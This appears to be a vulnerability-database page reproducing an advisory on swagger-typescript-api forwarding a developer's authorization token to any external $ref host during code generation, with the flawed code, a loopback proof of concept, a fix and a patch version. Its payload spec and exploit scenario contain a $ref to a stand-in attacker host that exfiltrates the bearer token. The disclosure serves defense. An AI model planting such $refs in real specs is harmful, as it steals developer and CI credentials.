Severity by source
AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
Malicious remote spec (AV:N/AC:L) needs no attacker auth (PR:N) but requires the victim to run generation with a token set (UI:R); leaked token grants a different authority (S:C, C:H) with no integrity/availability impact.
Primary rating from Vendor (https://github.com/acacode/swagger-typescript-api).
CVSS VectorVendor: https://github.com/acacode/swagger-typescript-api
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
Lifecycle Timeline
3DescriptionCVE.org
Summary
When the developer supplies an --authorizationToken (commonly required to fetch a private spec behind authentication), swagger-typescript-api attaches that token to the Authorization header of every subsequent HTTP request it makes while resolving external $ref URLs in the spec - with no same-origin check, no host allowlist, and no scope-down for cross-origin requests. A malicious OpenAPI spec containing a $ref to an attacker-controlled URL therefore causes the developer's bearer token to be sent verbatim to that URL during code generation.
The threat model is identical to the SSRF advisory filed alongside this one (companion finding), but with credential disclosure as the primary impact. The token is typically a high-value secret: a GitHub PAT, an OAuth bearer for the API the spec describes, an enterprise SSO token, an AWS-style API key, or similar. Disclosure to an attacker-controlled URL is one curl-equivalent away from full takeover of whatever scope the token grants.
Details
The header-builder lives in src/resolved-swagger-schema.ts:81-92:
private getRemoteRequestHeaders(): Record<string, string> {
return Object.assign(
{},
this.config.authorizationToken
? {
Authorization: this.config.authorizationToken,
}
: {},
(this.config.requestOptions?.headers as
| Record<string, string>
| undefined) || {},
);
}There is no check that the request's destination URL shares an origin (or scheme, or host, or even top-level domain) with this.config.url - the URL the user originally specified. The headers object is unconditional.
getRemoteRequestHeaders is called by fetchRemoteSchemaDocument (src/resolved-swagger-schema.ts:374):
const response = await fetch(url, {
headers: this.getRemoteRequestHeaders(),
});…which is in turn called by warmUpRemoteSchemasCache (src/resolved-swagger-schema.ts:399-445) for every external $ref URL discovered while walking the spec.
Net effect: a spec whose response schema is
{ "$ref": "http://attacker.example/exfil-endpoint/data.json" }causes the generator to send
GET /exfil-endpoint/data.json HTTP/1.1
Host: attacker.example
Authorization: <full value of --authorizationToken>to attacker.example, regardless of where the original spec was hosted.
The --authorizationToken flag is the standard mechanism for consuming a spec behind auth - for example, fetching a private GitHub-hosted spec with a Personal Access Token, fetching a vendor API spec behind an OAuth bearer, fetching a Confluence-hosted spec with a session token. Setting --authorizationToken is therefore not an exotic configuration; it is the *intended* configuration for any non-public spec.
PoC
Self-contained reproducer in comments (install swagger-typescript-api@13.12.1 into a local node_modules, spin up two loopback HTTP servers - one serving the spec, one pretending to be the attacker's exfil endpoint - run the generator with authorizationToken set, observe what the attacker endpoint received). Tested on swagger-typescript-api@13.12.1 and Node v24.11.1.
Payload spec (served from http://127.0.0.1:<spec-port>/spec.json):
{
"openapi": "3.0.0",
"info": { "title": "TokenLeak-payload", "version": "1.0.0" },
"paths": {
"/p": {
"get": {
"operationId": "p",
"responses": {
"200": {
"description": "OK",
"content": {
"application/json": {
"schema": {
"$ref": "http://127.0.0.1:<attacker-port>/EXFIL_ENDPOINT/data.json"
}
}
}
}
}
}
}
}
}Steps:
# 1. Start a loopback "attacker" HTTP server on a different port from the spec server.
# 2. Start a loopback "spec" HTTP server that serves the payload spec above.
# 3. Run the generator with --authorizationToken set.
npm install swagger-typescript-api@13.12.1
node -e "import('swagger-typescript-api').then(m => m.generateApi({
output: '/tmp/out',
url: 'http://127.0.0.1:<spec-port>/spec.json',
authorizationToken: 'Bearer USER_GITHUB_PAT_super_secret_xyz123',
httpClientType: 'fetch'
}))"Observed:
[control] (no cross-origin $ref) → attacker-server hits: 0
[payload] ($ref → http://attacker)
attacker-server hits: 1
hit: /EXFIL_ENDPOINT/data.json Authorization header: Bearer USER_GITHUB_PAT_super_secret_xyz123
TOKEN LEAKED - attacker server received user-supplied authorizationToken verbatimThe attacker-controlled endpoint received the developer's full Bearer ... token verbatim, sent by the generator while resolving the spec's $ref.
Impact
Type: Insufficiently Protected Credentials (CWE-522) / Exposure of Sensitive Information to an Unauthorized Actor (CWE-200) / Insertion of Sensitive Information into Sent Data (CWE-201) via missing same-origin check on credentialed HTTP requests.
Affected use cases:
- A developer fetching a private OpenAPI spec behind authentication (GitHub-hosted private spec, vendor-API spec on an OAuth-protected URL, Atlassian / Confluence / enterprise wiki-hosted spec) and the spec author is not the developer. This is the literal documented usage of
--authorizationToken. - A CI/CD pipeline regenerating clients from a private spec on every build - the CI's authentication token (often a long-lived service-account credential) leaks on every run.
- A multi-tenant SaaS that generates per-tenant clients from tenant-supplied specs - a tenant's malicious spec captures the SaaS provider's API key.
- Any project where a contributor can modify the pinned spec via PR - the project's CI credentials leak on first build of the malicious PR.
Lifecycle: generation-time. The token leak happens when the developer or CI pipeline runs swagger-typescript-api generate, not when the generated client is later imported.
Privilege of stolen token: typically the developer's API authentication for the target service - a GitHub PAT (full source-code read/write to whatever repos the PAT scope allows), an OAuth bearer (full impersonation on the API), an AWS-style key (full account access depending on IAM policy), or a CI service-account token (full CI/CD pipeline access). Token capture is functionally equivalent to credential theft - the attacker gains the same scope of access the developer had.
Suggested fix:
The minimum sufficient fix is a same-origin check on the Authorization header forwarding:
// in src/resolved-swagger-schema.ts:81-92
private getRemoteRequestHeaders(targetUrl?: string): Record<string, string> {
const headers: Record<string, string> = {};
// Only attach Authorization if the target URL shares an origin with the
// user-supplied spec URL. Otherwise the token is leaked across origins.
if (
this.config.authorizationToken &&
targetUrl &&
this.isSameOrigin(targetUrl, this.config.url)
) {
headers.Authorization = this.config.authorizationToken;
}
return Object.assign(
headers,
(this.config.requestOptions?.headers as Record<string, string> | undefined) || {},
);
}
private isSameOrigin(a: string, b: string | undefined): boolean {
if (typeof b !== "string") return false;
try {
const ua = new URL(a);
const ub = new URL(b);
return ua.protocol === ub.protocol && ua.host === ub.host;
} catch {
return false;
}
}Then update the call site fetchRemoteSchemaDocument (src/resolved-swagger-schema.ts:374) to pass the destination URL:
const response = await fetch(url, {
headers: this.getRemoteRequestHeaders(url),
});This is the same model browsers apply to credentialed fetch requests by default. It does not break legitimate same-server $refs - those still authenticate normally. It only strips the token when the target's origin differs from the spec source's origin.
For deeper hardening, combine this with the SSRF mitigations recommended in the companion advisory (private-IP filter + custom undici dispatcher with redirect re-validation). The two fixes are complementary: the SSRF guard prevents the request from reaching the attacker at all; the same-origin guard prevents credential leakage even if the request does happen.
Submitted by: Hamza Haroon (thegr1ffyn)
Articles & Coverage 1
AnalysisAI
Credential exfiltration in swagger-typescript-api (npm, versions <= 13.12.1) allows a malicious OpenAPI spec to steal a developer's bearer token during code generation: when --authorizationToken is set, the generator attaches that token to the Authorization header of every request it makes while resolving external $ref URLs, with no same-origin check, so a $ref pointing at an attacker-controlled host receives the token verbatim. The stolen credential is typically high-value (GitHub PAT, OAuth bearer, CI service-account token) and its capture is equivalent to full account/scope takeover. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Requires three concrete prerequisites: (1) the generator is invoked with `--authorizationToken`/`authorizationToken` set to a real credential - the documented way to fetch private specs; (2) the OpenAPI spec being processed contains at least one external `$ref` with an `http(s)://` URL pointing to an attacker-controlled origin different from the `--url` spec source; and (3) the victim actually runs generation against that spec (UI:R - a manual `generate` invocation or an automated CI build step). … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The supplied CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N, 7.4 High) is internally consistent with the mechanism: network vector, low complexity, no attacker authentication, but required user interaction (a developer or CI job must run generation against an attacker-influenced spec while a real token is configured), a scope change (the leaked token grants access to a different security authority than the vulnerable generator), high confidentiality impact, and no integrity/availability impact. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker publishes or contributes an OpenAPI spec whose response schema contains `{"$ref": "http://attacker.example/exfil/data.json"}` and gets a victim developer or CI pipeline to regenerate a client from it with `--authorizationToken` set (e.g., via a pull request modifying a pinned spec, or a tenant-supplied spec in a multi-tenant SaaS). When generation runs, the tool resolves the `$ref` and sends the victim's full bearer token in the Authorization header to attacker.example, which logs it; the attacker then replays the token for full access to whatever scope it grants. … |
| Remediation | Vendor-released patch: 13.12.2 - upgrade swagger-typescript-api to 13.12.2 or later (release https://github.com/acacode/swagger-typescript-api/releases/tag/v13.12.2; fix in PR https://github.com/acacode/swagger-typescript-api/pull/1779 and commit 306d59acb8ffbb00f953f807b97234b21f51d9de). … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours: identify and inventory all usage of swagger-typescript-api in development and CI/CD environments; pause processing of OpenAPI specifications from untrusted or external sources, and if tokens were previously used, initiate rotation of GitHub PATs, OAuth tokens, and service account credentials. …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote
Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t
Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete
Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc
An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner
Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi
Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin
The JS-YAML module before 2.0.5 for Node.js parses input without properly considering the unsafe !!js/function tag, whic
Directory traversal vulnerability in lib/app/index.js in Geddy before 13.0.8 for Node.js allows remote attackers to read
Credential-harvesting malware compromised 84 versions of 42 TanStack npm packages on 2026-05-11 via chained GitHub Actio
Eval injection vulnerability in index.js in the syntax-error package before 1.1.1 for Node.js 0.10.x, as used in IBM Rat
The HTTP server in Node.js 0.10.x before 0.10.21 and 0.8.x before 0.8.26 allows remote attackers to cause a denial of se
Same weakness CWE-200 – Information Exposure
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-50361
GHSA-h754-fxp7-88wx